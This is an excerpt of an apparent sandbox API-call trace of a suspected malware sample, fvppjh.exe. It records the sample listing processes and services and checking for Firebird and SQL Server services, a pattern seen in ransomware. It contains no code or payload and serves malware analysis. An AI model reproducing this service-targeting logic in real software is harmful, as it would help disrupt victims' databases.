	[0161.670] Process32NextW (in: hSnapshot=0x4b4, lppe=0x250fd2c | out: lppe=0x250fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3c0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1c, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0161.670] lstrlenW (lpString="svchost.exe") returned 11
	[0161.670] Process32NextW (in: hSnapshot=0x4b4, lppe=0x250fd2c | out: lppe=0x250fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3e4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x13, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0161.670] lstrlenW (lpString="svchost.exe") returned 11
	[0161.671] Process32NextW (in: hSnapshot=0x4b4, lppe=0x250fd2c | out: lppe=0x250fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3f4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x10, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0161.671] lstrlenW (lpString="svchost.exe") returned 11
	[0161.671] Process32NextW (in: hSnapshot=0x4b4, lppe=0x250fd2c | out: lppe=0x250fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x26c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x25, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0161.671] lstrlenW (lpString="svchost.exe") returned 11
	[0161.671] Process32NextW (in: hSnapshot=0x4b4, lppe=0x250fd2c | out: lppe=0x250fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4b0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0161.672] lstrlenW (lpString="svchost.exe") returned 11
	[0161.672] Process32NextW (in: hSnapshot=0x4b4, lppe=0x250fd2c | out: lppe=0x250fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4bc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x17, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0161.672] lstrlenW (lpString="svchost.exe") returned 11
	[0161.672] Process32NextW (in: hSnapshot=0x4b4, lppe=0x250fd2c | out: lppe=0x250fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x504, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0161.673] lstrlenW (lpString="svchost.exe") returned 11
	[0161.673] Process32NextW (in: hSnapshot=0x4b4, lppe=0x250fd2c | out: lppe=0x250fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x50c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0161.673] lstrlenW (lpString="svchost.exe") returned 11
	[0161.673] Process32NextW (in: hSnapshot=0x4b4, lppe=0x250fd2c | out: lppe=0x250fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x538, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xd, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0161.674] lstrlenW (lpString="svchost.exe") returned 11
	[0161.674] Process32NextW (in: hSnapshot=0x4b4, lppe=0x250fd2c | out: lppe=0x250fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x5ac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="spoolsv.exe")) returned 1
	[0161.674] lstrlenW (lpString="spoolsv.exe") returned 11
	[0161.674] Process32NextW (in: hSnapshot=0x4b4, lppe=0x250fd2c | out: lppe=0x250fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x69c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0161.675] lstrlenW (lpString="svchost.exe") returned 11
	[0161.675] Process32NextW (in: hSnapshot=0x4b4, lppe=0x250fd2c | out: lppe=0x250fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x6c0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x4b0, pcPriClassBase=8, dwFlags=0x0, szExeFile="audiodg.exe")) returned 1
	[0161.675] lstrlenW (lpString="audiodg.exe") returned 11
	[0161.675] Process32NextW (in: hSnapshot=0x4b4, lppe=0x250fd2c | out: lppe=0x250fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x748, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x10, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="OfficeClickToRun.exe")) returned 1
	[0161.676] lstrlenW (lpString="OfficeClickToRun.exe") returned 20
	[0161.676] Process32NextW (in: hSnapshot=0x4b4, lppe=0x250fd2c | out: lppe=0x250fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x7b0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="SecurityHealthService.exe")) returned 1
	[0161.676] lstrlenW (lpString="SecurityHealthService.exe") returned 25
	[0161.676] Process32NextW (in: hSnapshot=0x4b4, lppe=0x250fd2c | out: lppe=0x250fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x7d4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xe, th32ParentProcessID=0x4, pcPriClassBase=8, dwFlags=0x0, szExeFile="Memory Compression")) returned 1
	[0161.677] lstrlenW (lpString="Memory Compression") returned 18
	[0161.677] Process32NextW (in: hSnapshot=0x4b4, lppe=0x250fd2c | out: lppe=0x250fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x41c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x12, th32ParentProcessID=0x3b0, pcPriClassBase=8, dwFlags=0x0, szExeFile="sihost.exe")) returned 1
	[0161.677] lstrlenW (lpString="sihost.exe") returned 10
	[0161.677] Process32NextW (in: hSnapshot=0x4b4, lppe=0x250fd2c | out: lppe=0x250fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x7ac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xf, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0161.678] lstrlenW (lpString="svchost.exe") returned 11
	[0161.678] Process32NextW (in: hSnapshot=0x4b4, lppe=0x250fd2c | out: lppe=0x250fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x830, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x3b0, pcPriClassBase=6, dwFlags=0x0, szExeFile="taskhostw.exe")) returned 1
	[0161.678] lstrlenW (lpString="taskhostw.exe") returned 13
	[0161.678] Process32NextW (in: hSnapshot=0x4b4, lppe=0x250fd2c | out: lppe=0x250fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x8c0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x3b0, pcPriClassBase=6, dwFlags=0x0, szExeFile="MDMAgent.exe")) returned 1
	[0161.678] lstrlenW (lpString="MDMAgent.exe") returned 12
	[0161.679] Process32NextW (in: hSnapshot=0x4b4, lppe=0x250fd2c | out: lppe=0x250fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x90c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xf, th32ParentProcessID=0x3b0, pcPriClassBase=8, dwFlags=0x0, szExeFile="taskhostw.exe")) returned 1
	[0161.679] lstrlenW (lpString="taskhostw.exe") returned 13
	[0161.679] Process32NextW (in: hSnapshot=0x4b4, lppe=0x250fd2c | out: lppe=0x250fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x9bc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x45, th32ParentProcessID=0x9ac, pcPriClassBase=8, dwFlags=0x0, szExeFile="explorer.exe")) returned 1
	[0161.679] lstrlenW (lpString="explorer.exe") returned 12
	[0161.679] Process32NextW (in: hSnapshot=0x4b4, lppe=0x250fd2c | out: lppe=0x250fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xb8c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1a, th32ParentProcessID=0x2dc, pcPriClassBase=8, dwFlags=0x0, szExeFile="ShellExperienceHost.exe")) returned 1
	[0161.680] lstrlenW (lpString="ShellExperienceHost.exe") returned 23
	[0161.680] Process32NextW (in: hSnapshot=0x4b4, lppe=0x250fd2c | out: lppe=0x250fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xba0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x20, th32ParentProcessID=0x2dc, pcPriClassBase=8, dwFlags=0x0, szExeFile="SearchUI.exe")) returned 1
	[0161.680] lstrlenW (lpString="SearchUI.exe") returned 12
	[0161.680] Process32NextW (in: hSnapshot=0x4b4, lppe=0x250fd2c | out: lppe=0x250fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x824, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x2dc, pcPriClassBase=8, dwFlags=0x0, szExeFile="RuntimeBroker.exe")) returned 1
	[0161.681] lstrlenW (lpString="RuntimeBroker.exe") returned 17
	[0161.681] Process32NextW (in: hSnapshot=0x4b4, lppe=0x250fd2c | out: lppe=0x250fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xd60, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x2dc, pcPriClassBase=8, dwFlags=0x0, szExeFile="WmiPrvSE.exe")) returned 1
	[0161.681] lstrlenW (lpString="WmiPrvSE.exe") returned 12
	[0161.681] Process32NextW (in: hSnapshot=0x4b4, lppe=0x250fd2c | out: lppe=0x250fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xd98, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0161.682] lstrlenW (lpString="svchost.exe") returned 11
	[0161.682] Process32NextW (in: hSnapshot=0x4b4, lppe=0x250fd2c | out: lppe=0x250fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xdc0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x18, th32ParentProcessID=0x9bc, pcPriClassBase=8, dwFlags=0x0, szExeFile="fvppjh.exe")) returned 1
	[0161.682] lstrlenW (lpString="fvppjh.exe") returned 10
	[0161.682] Process32NextW (in: hSnapshot=0x4b4, lppe=0x250fd2c | out: lppe=0x250fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xdd4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0xdc0, pcPriClassBase=8, dwFlags=0x0, szExeFile="cmd.exe")) returned 1
	[0161.683] lstrlenW (lpString="cmd.exe") returned 7
	[0161.683] Process32NextW (in: hSnapshot=0x4b4, lppe=0x250fd2c | out: lppe=0x250fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xde8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0xdd4, pcPriClassBase=8, dwFlags=0x0, szExeFile="conhost.exe")) returned 1
	[0161.683] lstrlenW (lpString="conhost.exe") returned 11
	[0161.683] Process32NextW (in: hSnapshot=0x4b4, lppe=0x250fd2c | out: lppe=0x250fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xe64, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0xdd4, pcPriClassBase=8, dwFlags=0x0, szExeFile="mode.com")) returned 1
	[0161.684] lstrlenW (lpString="mode.com") returned 8
	[0161.684] Process32NextW (in: hSnapshot=0x4b4, lppe=0x250fd2c | out: lppe=0x250fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xe70, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x9bc, pcPriClassBase=8, dwFlags=0x0, szExeFile="fvppjh.exe")) returned 1
	[0161.684] lstrlenW (lpString="fvppjh.exe") returned 10
	[0161.684] Process32NextW (in: hSnapshot=0x4b4, lppe=0x250fd2c | out: lppe=0x250fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xe70, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x9bc, pcPriClassBase=8, dwFlags=0x0, szExeFile="fvppjh.exe")) returned 0
	[0161.685] CloseHandle (hObject=0x4b4) returned 1
	[0161.685] Sleep (dwMilliseconds=0x1f4) 
	[0162.298] OpenSCManagerW (lpMachineName=0x0, lpDatabaseName=0x0, dwDesiredAccess=0x4) returned 0x41c0480
	[0162.299] EnumServicesStatusExW (in: hSCManager=0x41c0480, InfoLevel=0x0, dwServiceType=0x30, dwServiceState=0x1, lpServices=0x0, cbBufSize=0x0, pcbBytesNeeded=0x250ff3c, lpServicesReturned=0x250ff54, lpResumeHandle=0x0, pszGroupName=0x0 | out: lpServices=0x0, pcbBytesNeeded=0x250ff3c, lpServicesReturned=0x250ff54, lpResumeHandle=0x0) returned 0
	[0162.299] GetLastError () returned 0xea
	[0162.299] RtlAllocateHeap (HeapHandle=0x5a0000, Flags=0x0, Size=0x1b58) returned 0x41e5cb0
	[0162.299] EnumServicesStatusExW (in: hSCManager=0x41c0480, InfoLevel=0x0, dwServiceType=0x30, dwServiceState=0x1, lpServices=0x41e5cb0, cbBufSize=0x1b58, pcbBytesNeeded=0x250ff3c, lpServicesReturned=0x250ff54, lpResumeHandle=0x0, pszGroupName=0x0 | out: lpServices=0x41e5cb0, pcbBytesNeeded=0x250ff3c, lpServicesReturned=0x250ff54, lpResumeHandle=0x0) returned 1
	[0162.300] CloseServiceHandle (hSCObject=0x41c0480) returned 1
	[0162.300] lstrlenW (lpString="AppXSvc") returned 7
	[0162.300] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="AppXSvc") returned 1
	[0162.300] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="AppXSvc") returned 1
	[0162.300] lstrcmpiW (lpString1="sqlwriter", lpString2="AppXSvc") returned 1
	[0162.300] lstrcmpiW (lpString1="mssqlserver", lpString2="AppXSvc") returned 1
	[0162.300] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="AppXSvc") returned 1
	[0162.301] lstrlenW (lpString="AudioEndpointBuilder") returned 20
	[0162.301] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="AudioEndpointBuilder") returned 1
	[0162.301] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="AudioEndpointBuilder") returned 1
	[0162.301] lstrcmpiW (lpString1="sqlwriter", lpString2="AudioEndpointBuilder") returned 1
	[0162.301] lstrcmpiW (lpString1="mssqlserver", lpString2="AudioEndpointBuilder") returned 1
	[0162.301] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="AudioEndpointBuilder") returned 1
	[0162.301] lstrlenW (lpString="Audiosrv") returned 8
	[0162.301] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Audiosrv") returned 1
	[0162.301] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Audiosrv") returned 1
	[0162.301] lstrcmpiW (lpString1="sqlwriter", lpString2="Audiosrv") returned 1
	[0162.301] lstrcmpiW (lpString1="mssqlserver", lpString2="Audiosrv") returned 1
	[0162.301] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Audiosrv") returned 1
	[0162.301] lstrlenW (lpString="BFE") returned 3
	[0162.301] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="BFE") returned 1
	[0162.301] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="BFE") returned 1
	[0162.301] lstrcmpiW (lpString1="sqlwriter", lpString2="BFE") returned 1
	[0162.301] lstrcmpiW (lpString1="mssqlserver", lpString2="BFE") returned 1
	[0162.301] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="BFE") returned 1
	[0162.301] lstrlenW (lpString="BrokerInfrastructure") returned 20
	[0162.301] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="BrokerInfrastructure") returned 1
	[0162.301] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="BrokerInfrastructure") returned 1
	[0162.301] lstrcmpiW (lpString1="sqlwriter", lpString2="BrokerInfrastructure") returned 1
	[0162.301] lstrcmpiW (lpString1="mssqlserver", lpString2="BrokerInfrastructure") returned 1
	[0162.301] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="BrokerInfrastructure") returned 1
	[0162.301] lstrlenW (lpString="CDPSvc") returned 6
	[0162.301] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CDPSvc") returned 1
	[0162.301] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CDPSvc") returned 1
	[0162.301] lstrcmpiW (lpString1="sqlwriter", lpString2="CDPSvc") returned 1
	[0162.301] lstrcmpiW (lpString1="mssqlserver", lpString2="CDPSvc") returned 1
	[0162.301] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CDPSvc") returned 1
	[0162.301] lstrlenW (lpString="ClickToRunSvc") returned 13
	[0162.301] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ClickToRunSvc") returned 1
	[0162.301] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ClickToRunSvc") returned 1
	[0162.301] lstrcmpiW (lpString1="sqlwriter", lpString2="ClickToRunSvc") returned 1
	[0162.301] lstrcmpiW (lpString1="mssqlserver", lpString2="ClickToRunSvc") returned 1
	[0162.301] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ClickToRunSvc") returned 1
	[0162.301] lstrlenW (lpString="CoreMessagingRegistrar") returned 22
	[0162.302] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CoreMessagingRegistrar") returned 1
	[0162.302] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CoreMessagingRegistrar") returned 1
	[0162.302] lstrcmpiW (lpString1="sqlwriter", lpString2="CoreMessagingRegistrar") returned 1
	[0162.302] lstrcmpiW (lpString1="mssqlserver", lpString2="CoreMessagingRegistrar") returned 1
	[0162.302] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CoreMessagingRegistrar") returned 1
	[0162.302] lstrlenW (lpString="CryptSvc") returned 8
	[0162.302] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CryptSvc") returned 1
	[0162.302] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CryptSvc") returned 1
	[0162.302] lstrcmpiW (lpString1="sqlwriter", lpString2="CryptSvc") returned 1
	[0162.302] lstrcmpiW (lpString1="mssqlserver", lpString2="CryptSvc") returned 1
	[0162.302] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CryptSvc") returned 1
	[0162.302] lstrlenW (lpString="DcomLaunch") returned 10
	[0162.302] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DcomLaunch") returned 1
	[0162.302] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DcomLaunch") returned 1
	[0162.302] lstrcmpiW (lpString1="sqlwriter", lpString2="DcomLaunch") returned 1
	[0162.302] lstrcmpiW (lpString1="mssqlserver", lpString2="DcomLaunch") returned 1
	[0162.302] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DcomLaunch") returned 1
	[0162.302] lstrlenW (lpString="DeviceAssociationService") returned 24
	[0162.302] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DeviceAssociationService") returned 1
	[0162.302] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DeviceAssociationService") returned 1
	[0162.302] lstrcmpiW (lpString1="sqlwriter", lpString2="DeviceAssociationService") returned 1
	[0162.302] lstrcmpiW (lpString1="mssqlserver", lpString2="DeviceAssociationService") returned 1
	[0162.302] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DeviceAssociationService") returned 1
	[0162.302] lstrlenW (lpString="Dhcp") returned 4
	[0162.302] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Dhcp") returned 1
	[0162.302] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Dhcp") returned 1
	[0162.302] lstrcmpiW (lpString1="sqlwriter", lpString2="Dhcp") returned 1
	[0162.302] lstrcmpiW (lpString1="mssqlserver", lpString2="Dhcp") returned 1
	[0162.302] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Dhcp") returned 1
	[0162.302] lstrlenW (lpString="Dnscache") returned 8
	[0162.302] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Dnscache") returned 1
	[0162.302] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Dnscache") returned 1
	[0162.302] lstrcmpiW (lpString1="sqlwriter", lpString2="Dnscache") returned 1
	[0162.302] lstrcmpiW (lpString1="mssqlserver", lpString2="Dnscache") returned 1
	[0162.302] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Dnscache") returned 1
	[0162.303] lstrlenW (lpString="DPS") returned 3
	[0162.303] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DPS") returned 1
	[0162.303] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DPS") returned 1
	[0162.303] lstrcmpiW (lpString1="sqlwriter", lpString2="DPS") returned 1
	[0162.303] lstrcmpiW (lpString1="mssqlserver", lpString2="DPS") returned 1
	[0162.303] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DPS") returned 1
	[0162.303] lstrlenW (lpString="DusmSvc") returned 7
	[0162.303] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DusmSvc") returned 1
	[0162.303] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DusmSvc") returned 1
	[0162.303] lstrcmpiW (lpString1="sqlwriter", lpString2="DusmSvc") returned 1
	[0162.303] lstrcmpiW (lpString1="mssqlserver", lpString2="DusmSvc") returned 1
	[0162.303] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DusmSvc") returned 1
	[0162.303] lstrlenW (lpString="EventLog") returned 8
	[0162.303] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="EventLog") returned 1
	[0162.303] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="EventLog") returned 1
	[0162.303] lstrcmpiW (lpString1="sqlwriter", lpString2="EventLog") returned 1
	[0162.303] lstrcmpiW (lpString1="mssqlserver", lpString2="EventLog") returned 1
	[0162.303] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="EventLog") returned 1
	[0162.303] lstrlenW (lpString="EventSystem") returned 11
	[0162.303] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="EventSystem") returned 1
	[0162.303] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="EventSystem") returned 1
	[0162.303] lstrcmpiW (lpString1="sqlwriter", lpString2="EventSystem") returned 1
	[0162.303] lstrcmpiW (lpString1="mssqlserver", lpString2="EventSystem") returned 1
	[0162.303] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="EventSystem") returned 1
	[0162.303] lstrlenW (lpString="FontCache") returned 9
	[0162.303] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="FontCache") returned -1
	[0162.303] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="FontCache") returned -1
	[0162.303] lstrcmpiW (lpString1="sqlwriter", lpString2="FontCache") returned 1
	[0162.303] lstrcmpiW (lpString1="mssqlserver", lpString2="FontCache") returned 1
	[0162.303] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="FontCache") returned 1
	[0162.303] lstrlenW (lpString="gpsvc") returned 5
	[0162.303] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="gpsvc") returned -1
	[0162.303] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="gpsvc") returned -1
	[0162.303] lstrcmpiW (lpString1="sqlwriter", lpString2="gpsvc") returned 1
	[0162.303] lstrcmpiW (lpString1="mssqlserver", lpString2="gpsvc") returned 1
	[0162.303] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="gpsvc") returned 1
	[0162.304] lstrlenW (lpString="iphlpsvc") returned 8
	[0162.304] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="iphlpsvc") returned -1
	[0162.304] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="iphlpsvc") returned -1
	[0162.304] lstrcmpiW (lpString1="sqlwriter", lpString2="iphlpsvc") returned 1
	[0162.304] lstrcmpiW (lpString1="mssqlserver", lpString2="iphlpsvc") returned 1
	[0162.304] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="iphlpsvc") returned 1
	[0162.304] lstrlenW (lpString="KeyIso") returned 6
	[0162.304] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="KeyIso") returned -1
	[0162.304] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="KeyIso") returned -1
	[0162.304] lstrcmpiW (lpString1="sqlwriter", lpString2="KeyIso") returned 1
	[0162.304] lstrcmpiW (lpString1="mssqlserver", lpString2="KeyIso") returned 1
	[0162.304] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="KeyIso") returned 1
	[0162.304] lstrlenW (lpString="LanmanServer") returned 12
	[0162.304] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="LanmanServer") returned -1
	[0162.304] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="LanmanServer") returned -1
	[0162.304] lstrcmpiW (lpString1="sqlwriter", lpString2="LanmanServer") returned 1
	[0162.304] lstrcmpiW (lpString1="mssqlserver", lpString2="LanmanServer") returned 1
	[0162.304] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="LanmanServer") returned 1
	[0162.304] lstrlenW (lpString="LanmanWorkstation") returned 17
	[0162.304] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="LanmanWorkstation") returned -1
	[0162.304] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="LanmanWorkstation") returned -1
	[0162.304] lstrcmpiW (lpString1="sqlwriter", lpString2="LanmanWorkstation") returned 1
	[0162.304] lstrcmpiW (lpString1="mssqlserver", lpString2="LanmanWorkstation") returned 1
	[0162.304] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="LanmanWorkstation") returned 1
	[0162.304] lstrlenW (lpString="lfsvc") returned 5
	[0162.304] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="lfsvc") returned -1
	[0162.304] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="lfsvc") returned -1
	[0162.304] lstrcmpiW (lpString1="sqlwriter", lpString2="lfsvc") returned 1
	[0162.304] lstrcmpiW (lpString1="mssqlserver", lpString2="lfsvc") returned 1
	[0162.304] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="lfsvc") returned 1
	[0162.304] lstrlenW (lpString="lmhosts") returned 7
	[0162.304] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="lmhosts") returned -1
	[0162.304] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="lmhosts") returned -1
	[0162.304] lstrcmpiW (lpString1="sqlwriter", lpString2="lmhosts") returned 1
	[0162.304] lstrcmpiW (lpString1="mssqlserver", lpString2="lmhosts") returned 1
	[0162.304] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="lmhosts") returned 1
	[0162.305] lstrlenW (lpString="LSM") returned 3
	[0162.305] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="LSM") returned -1
	[0162.305] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="LSM") returned -1
	[0162.305] lstrcmpiW (lpString1="sqlwriter", lpString2="LSM") returned 1
	[0162.305] lstrcmpiW (lpString1="mssqlserver", lpString2="LSM") returned 1
	[0162.305] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="LSM") returned 1
	[0162.305] lstrlenW (lpString="MpsSvc") returned 6
	[0162.305] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="MpsSvc") returned -1
	[0162.305] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="MpsSvc") returned -1
	[0162.305] lstrcmpiW (lpString1="sqlwriter", lpString2="MpsSvc") returned 1
	[0162.305] lstrcmpiW (lpString1="mssqlserver", lpString2="MpsSvc") returned 1
	[0162.305] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="MpsSvc") returned 1
